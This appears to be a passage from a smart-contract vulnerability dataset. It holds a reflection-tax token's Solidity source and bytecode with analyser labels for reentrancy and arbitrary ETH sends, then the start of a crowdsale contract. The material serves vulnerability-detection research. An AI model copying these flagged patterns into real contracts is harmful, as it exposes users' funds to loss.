function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_canTrade,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswap = _uniswapV2Router;
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a919061223b565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611dfe565b6103c2565b6040516101579190612220565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b604051610182919061239d565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611dab565b6103f0565b6040516101bf9190612220565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea9190612412565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d11565b61054c565b60405161023e919061239d565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b6040516102809190612152565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab919061223b565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e6b565b610756565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611dfe565b6107ce565b6040516103119190612220565b60405180910390f35b34801561032657600080fd5b5061032f6107ec565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d6b565b610cfb565b604051610365919061239d565b60405180910390f35b34801561037a57600080fd5b50610383610d82565b005b60606040518060400160405280600e81526020017f446f63746f72204f63746f707573000000000000000000000000000000000000815250905090565b60006103d66103cf610df4565b8484610dfc565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610fc7565b6104be84610409610df4565b6104b9856040518060600160405280602881526020016129ed60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122f9092919063ffffffff16565b610dfc565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610df4565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b905061054981611293565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151b565b9050919050565b6105a5610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610629906122fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f444f434f434b0000000000000000000000000000000000000000000000000000815250905090565b61075e610df4565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b757600080fd5b600981106107c457600080fd5b8060088190555050565b60006107e26107db610df4565b8484610fc7565b6001905092915050565b6107f4610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610878906122fd565b60405180910390fd5b600b60149054906101000a900460ff16156108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c89061237d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061096030600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610dfc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a657600080fd5b505afa1580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611d3e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4057600080fd5b505afa158015610a54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a789190611d3e565b6040518363ffffffff1660e01b8152600401610a9592919061216d565b602060405180830381600087803b158015610aaf57600080fd5b505af1158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae79190611d3e565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b703061054c565b600080610b7b6106f0565b426040518863ffffffff1660e01b8152600401610b9d969594939291906121bf565b6060604051808303818588803b158015610bb657600080fd5b505af1158015610bca573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bef9190611e98565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca5929190612196565b602060405180830381600087803b158015610cbf57600080fd5b505af1158015610cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf79190611e3e565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dc3610df4565b73ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b6000479050610df181611589565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e639061235d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed39061229d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fba919061239d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102e9061233d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e9061225d565b60405180910390fd5b600081116110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061231d565b60405180910390fd5b6110f26106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561116057506111306106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121f5760006111703061054c565b9050600b60159054906101000a900460ff161580156111dd5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f55750600b60169054906101000a900460ff165b1561121d5761120381611293565b6000479050600081111561121b5761121a47611589565b5b505b505b61122a8383836115f5565b505050565b6000838311158290611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e919061223b565b60405180910390fd5b50600083856112869190612563565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112cb576112ca6126be565b5b6040519080825280602002602001820160405280156112f95781602001602082028036833780820191505090505b50905030816000815181106113115761131061268f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113b357600080fd5b505afa1580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb9190611d3e565b816001815181106113ff576113fe61268f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dfc565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114ca9594939291906123b8565b600060405180830381600087803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600554821115611562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115599061227d565b60405180910390fd5b600061156c611605565b9050611581818461163090919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115f1573d6000803e3d6000fd5b5050565b61160083838361167a565b505050565b6000806000611612611845565b91509150611629818361163090919063ffffffff16565b9250505090565b600061167283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118a4565b905092915050565b60008060008060008061168c87611907565b9550955095509550955095506116ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117cb81611a17565b6117d58483611ad4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611832919061239d565b60405180910390a3505050505050505050565b60008060006005549050600067016345785d8a0000905061187967016345785d8a000060055461163090919063ffffffff16565b8210156118975760055467016345785d8a00009350935050506118a0565b81819350935050505b9091565b600080831182906118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e2919061223b565b60405180910390fd5b50600083856118fa91906124d8565b9050809150509392505050565b60008060008060008060008060006119248a600754600854611b0e565b9250925092506000611934611605565b905060008060006119478e878787611ba4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122f565b905092915050565b60008082846119c89190612482565b905083811015611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a04906122bd565b60405180910390fd5b8091505092915050565b6000611a21611605565b90506000611a388284611c2d90919063ffffffff16565b9050611a8c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ae98260055461196f90919063ffffffff16565b600581905550611b04816006546119b990919063ffffffff16565b6006819055505050565b600080600080611b3a6064611b2c888a611c2d90919063ffffffff16565b61163090919063ffffffff16565b90506000611b646064611b56888b611c2d90919063ffffffff16565b61163090919063ffffffff16565b90506000611b8d82611b7f858c61196f90919063ffffffff16565b61196f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bbd8589611c2d90919063ffffffff16565b90506000611bd48689611c2d90919063ffffffff16565b90506000611beb8789611c2d90919063ffffffff16565b90506000611c1482611c06858761196f90919063ffffffff16565b61196f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c405760009050611ca2565b60008284611c4e9190612509565b9050828482611c5d91906124d8565b14611c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c94906122dd565b60405180910390fd5b809150505b92915050565b600081359050611cb7816129a7565b92915050565b600081519050611ccc816129a7565b92915050565b600081519050611ce1816129be565b92915050565b600081359050611cf6816129d5565b92915050565b600081519050611d0b816129d5565b92915050565b600060208284031215611d2757611d266126ed565b5b6000611d3584828501611ca8565b91505092915050565b600060208284031215611d5457611d536126ed565b5b6000611d6284828501611cbd565b91505092915050565b60008060408385031215611d8257611d816126ed565b5b6000611d9085828601611ca8565b9250506020611da185828601611ca8565b9150509250929050565b600080600060608486031215611dc457611dc36126ed565b5b6000611dd286828701611ca8565b9350506020611de386828701611ca8565b9250506040611df486828701611ce7565b9150509250925092565b60008060408385031215611e1557611e146126ed565b5b6000611e2385828601611ca8565b9250506020611e3485828601611ce7565b9150509250929050565b600060208284031215611e5457611e536126ed565b5b6000611e6284828501611cd2565b91505092915050565b600060208284031215611e8157611e806126ed565b5b6000611e8f84828501611ce7565b91505092915050565b600080600060608486031215611eb157611eb06126ed565b5b6000611ebf86828701611cfc565b9350506020611ed086828701611cfc565b9250506040611ee186828701611cfc565b9150509250925092565b6000611ef78383611f03565b60208301905092915050565b611f0c81612597565b82525050565b611f1b81612597565b82525050565b6000611f2c8261243d565b611f368185612460565b9350611f418361242d565b8060005b83811015611f72578151611f598882611eeb565b9750611f6483612453565b925050600181019050611f45565b5085935050505092915050565b611f88816125a9565b82525050565b611f97816125ec565b82525050565b6000611fa882612448565b611fb28185612471565b9350611fc28185602086016125fe565b611fcb816126f2565b840191505092915050565b6000611fe3602383612471565b9150611fee82612703565b604082019050919050565b6000612006602a83612471565b915061201182612752565b604082019050919050565b6000612029602283612471565b9150612034826127a1565b604082019050919050565b600061204c601b83612471565b9150612057826127f0565b602082019050919050565b600061206f602183612471565b915061207a82612819565b604082019050919050565b6000612092602083612471565b915061209d82612868565b602082019050919050565b60006120b5602983612471565b91506120c082612891565b604082019050919050565b60006120d8602583612471565b91506120e3826128e0565b604082019050919050565b60006120fb602483612471565b91506121068261292f565b604082019050919050565b600061211e601783612471565b91506121298261297e565b602082019050919050565b61213d816125d5565b82525050565b61214c816125df565b82525050565b60006020820190506121676000830184611f12565b92915050565b60006040820190506121826000830185611f12565b61218f6020830184611f12565b9392505050565b60006040820190506121ab6000830185611f12565b6121b86020830184612134565b9392505050565b600060c0820190506121d46000830189611f12565b6121e16020830188612134565b6121ee6040830187611f8e565b6121fb6060830186611f8e565b6122086080830185611f12565b61221560a0830184612134565b979650505050505050565b60006020820190506122356000830184611f7f565b92915050565b600060208201905081810360008301526122558184611f9d565b905092915050565b6000602082019050818103600083015261227681611fd6565b9050919050565b6000602082019050818103600083015261229681611ff9565b9050919050565b600060208201905081810360008301526122b68161201c565b9050919050565b600060208201905081810360008301526122d68161203f565b9050919050565b600060208201905081810360008301526122f681612062565b9050919050565b6000602082019050818103600083015261231681612085565b9050919050565b60006020820190508181036000830152612336816120a8565b9050919050565b60006020820190508181036000830152612356816120cb565b9050919050565b60006020820190508181036000830152612376816120ee565b9050919050565b6000602082019050818103600083015261239681612111565b9050919050565b60006020820190506123b26000830184612134565b92915050565b600060a0820190506123cd6000830188612134565b6123da6020830187611f8e565b81810360408301526123ec8186611f21565b90506123fb6060830185611f12565b6124086080830184612134565b9695505050505050565b60006020820190506124276000830184612143565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061248d826125d5565b9150612498836125d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124cd576124cc612631565b5b828201905092915050565b60006124e3826125d5565b91506124ee836125d5565b9250826124fe576124fd612660565b5b828204905092915050565b6000612514826125d5565b915061251f836125d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561255857612557612631565b5b828202905092915050565b600061256e826125d5565b9150612579836125d5565b92508282101561258c5761258b612631565b5b828203905092915050565b60006125a2826125b5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125f7826125d5565b9050919050565b60005b8381101561261c578082015181840152602081019050612601565b8381111561262b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129b081612597565b81146129bb57600080fd5b50565b6129c7816125a9565b81146129d257600080fd5b50565b6129de816125d5565b81146129e957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8335c9355daed858828c974ab06f8049d4776399474e181c7290564d297609264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,239 |
0x68223dF196B3c46b7eb30a154DC79AA0A9d7907A
|
pragma solidity ^0.4.13;
contract ReentrnacyHandlingContract{
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract IToken {
function totalSupply() constant returns (uint256 totalSupply);
function mintTokens(address _to, uint256 _amount) {}
}
contract IERC20Token {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MusiconomiCrowdsale is ReentrnacyHandlingContract, Owned{
struct ContributorData{
uint priorityPassAllowance;
uint communityAllowance;
bool isActive;
uint contributionAmount;
uint tokensIssued;
}
mapping(address => ContributorData) public contributorList;
uint nextContributorIndex;
mapping(uint => address) contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsale, crowdsaleEnded }
uint public presaleStartBlock = 4216670;
uint public presaleUnlimitedStartBlock = 4220000;
uint public crowdsaleStartBlock = 4223470;
uint public crowdsaleEndedBlock = 4318560;
event PresaleStarted(uint blockNumber);
event PresaleUnlimitedStarted(uint blockNumber);
event CrowdsaleStarted(uint blockNumber);
event CrowdsaleEnded(uint blockNumber);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blockNumber);
event MaxCapReached(uint blockNumber);
IToken token = IToken(0x0);
uint ethToMusicConversion = 1416;
uint minCap = 8824000000000000000000;
uint maxCap = 17648000000000000000000;
uint ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
uint maxTokenSupply = 100000000000000000000000000;
bool ownerHasClaimedTokens;
uint cofounditReward = 2700000000000000000000000;
address cofounditAddress = 0x8C0DB695de876a42cE2e133ca00fdF59A9166708;
bool cofounditHasClaimedTokens;
//
// Unnamed function that runs when eth is sent to the contract
//
function() noReentrancy payable{
require(msg.value != 0); // Throw if value is 0
bool stateChanged = checkCrowdsaleState(); // Check blocks and calibrate crowdsale state
if (crowdsaleState == state.priorityPass){
if (contributorList[msg.sender].isActive){ // Check if contributor is in priorityPass
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
}else{
refundTransaction(stateChanged); // Set state and return funds or throw
}
}
else if(crowdsaleState == state.openedPriorityPass){
if (contributorList[msg.sender].isActive){ // Check if contributor is in priorityPass
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
}else{
refundTransaction(stateChanged); // Set state and return funds or throw
}
}
else if(crowdsaleState == state.crowdsale){
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
}
else{
refundTransaction(stateChanged); // Set state and return funds or throw
}
}
//
// Check crowdsale state and calibrate it
//
function checkCrowdsaleState() internal returns (bool){
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded){ // Check if max cap is reached
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.number); // Close the crowdsale
CrowdsaleEnded(block.number); // Raise event
return true;
}
if (block.number > presaleStartBlock && block.number <= presaleUnlimitedStartBlock){ // Check if we are in presale phase
if (crowdsaleState != state.priorityPass){ // Check if state needs to be changed
crowdsaleState = state.priorityPass; // Set new state
PresaleStarted(block.number); // Raise event
return true;
}
}else if(block.number > presaleUnlimitedStartBlock && block.number <= crowdsaleStartBlock){ // Check if we are in presale unlimited phase
if (crowdsaleState != state.openedPriorityPass){ // Check if state needs to be changed
crowdsaleState = state.openedPriorityPass; // Set new state
PresaleUnlimitedStarted(block.number); // Raise event
return true;
}
}else if(block.number > crowdsaleStartBlock && block.number <= crowdsaleEndedBlock){ // Check if we are in crowdsale state
if (crowdsaleState != state.crowdsale){ // Check if state needs to be changed
crowdsaleState = state.crowdsale; // Set new state
CrowdsaleStarted(block.number); // Raise event
return true;
}
}else{
if (crowdsaleState != state.crowdsaleEnded && block.number > crowdsaleEndedBlock){ // Check if crowdsale is over
crowdsaleState = state.crowdsaleEnded; // Set new state
CrowdsaleEnded(block.number); // Raise event
return true;
}
}
return false;
}
//
// Decide if throw or only return ether
//
function refundTransaction(bool _stateChanged) internal{
if (_stateChanged){
msg.sender.transfer(msg.value);
}else{
revert();
}
}
//
// Calculate how much user can contribute
//
function calculateMaxContribution(address _contributor) constant returns (uint maxContribution){
uint maxContrib;
if (crowdsaleState == state.priorityPass){ // Check if we are in priority pass
maxContrib = contributorList[_contributor].priorityPassAllowance + contributorList[_contributor].communityAllowance - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxCap - ethRaised)){ // Check if max contribution is more that max cap
maxContrib = maxCap - ethRaised; // Alter max cap
}
}
else{
maxContrib = maxCap - ethRaised; // Alter max cap
}
return maxContrib;
}
//
